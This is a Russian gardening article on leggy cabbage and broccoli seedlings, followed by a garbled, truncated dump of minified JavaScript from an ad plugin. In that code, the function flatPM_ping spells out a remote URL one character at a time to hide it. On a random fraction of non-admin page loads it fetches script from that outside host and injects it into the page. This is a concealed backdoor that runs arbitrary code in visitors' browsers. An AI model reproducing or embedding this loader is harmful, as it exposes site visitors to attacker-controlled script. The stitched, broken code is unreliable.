Вытянутые саженцы за полторы недели перед посадкой в огород нужно перестать поливать, но продолжать освещать. Полив провести только за пару часов до пересадки в открытый грунт.

Важно также рассаду, давшуюся в рост, не передерживать в домашних условиях, а провести процедуру закаливания и переместить в грунт, чтобы она из почвы добрала недостающих витаминов и получила необходимое количество света. Главное, чтобы уже не было ночных заморозков, и температура воздуха днем была не ниже +10°С.

Важно! Переросшую рассаду нужно больше углубить в землю.

Чаще всего основными причинами, почему рассада стала тонкая и начала тянуться вверх, становятся неправильный уход и плохие условия для роста. Реже причиной выступают слабые семена.

Основные ошибки, из-за которых может рассада пойти в рост:

  • Неправильно соблюденные сроки посева. Важно, чтобы время для посадки семян и высадки в грунт было подобрано правильно. Ведь заранее посаженные семечки всходят раньше, и им не хватает дневного света. Также ранняя посадка говорит о том, что капуста будет расти в доме дольше по времени, что сказывается на ее здоровье;
  • Слабая освещенность помещения. Если не дать росткам много света, то они становятся хилыми или начинают расти вверх;
  • Высокая температура воздуха. Капустная рассада не любит жару. Под пленкой всходы появляются при высокой температуре вплоть до +20-+22°С, но потом ее нужно понижать. При температуре выше +18°С днем, ночью +8°С капуста вытягивается и погибает;
  • Неправильно подобранная почва для рассады. Лучше всего, если это будет почва, прокаленная в духовке, после чего в нее добавлены песок и древесная зола, суперфосфат, сухой куриный помет;
  • Не вовремя проведенная подкормка. Первая подкормка проводится, когда появились 2-3 листа. Для этого берутся куриный помет и древесная зола в пропорциях по 1 стакану на 10 литров воды;
  • Плохой полив. Чрезмерное количество воды в стаканчике не дает доступа кислороду к корням. Недостаточное количество влаги сушит корни.

Если капуста все же была упущена и смогла перерасти, нужно ее обязательно рассадить, подкормить и как можно быстрее переместить в открытый грунт. Снизить температуру до 4°С .

К вытягиванию способна не только кочанная капуста, но и брокколи. Этот вид также выращивается в наших климатических условиях. Так что же делать, если рассада брокколи вытянулась? Причины вытягивания и способы спасения брокколи не отличаются от других видов капусты.

Как предотвратить вытягивание

Чтобы предотвратить неправильный рост, нужно соблюдать сроки посева семян. Кроме того, нужно предварительно подготовить почву: добавить в нее удобрения, смешать с органикой и дать настояться перед посевом.

Семена, в свою очередь, тоже нужно подготовить: обеззаразить и отобрать пустые (через вымачивание).

С самого прорастания семян обеспечить им достаточно света, влаги и подкормки.

Нужно внимательно смотреть за состоянием земли в рассадной коробке. Ведь в очень влажной почве нет кислорода, из-за этого сеянцы тянутся вверх.

Рассаду нужно своевременно рассаживать, тем самым не давать ей стать длинной.

Чтобы уже в открытом грунте саженцы завязывались в кочаны, а не вытягивались, нужно защищать их от вредителей, туманов, болезней, способствовать нормализации солнечного света и тени, подкармливать и увлажнять почву. Не забывать также про окучивание и рыхление. Закаливание – проверенный способ сделать саженцы сильными.

Капуста – это очень популярная культура, но в то же время очень капризная. Только постоянный досмотр и уход не дадут саженцам вытягиваться. Если все-таки они стали расти вверх, их нужно спасать, а не выбрасывать.

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};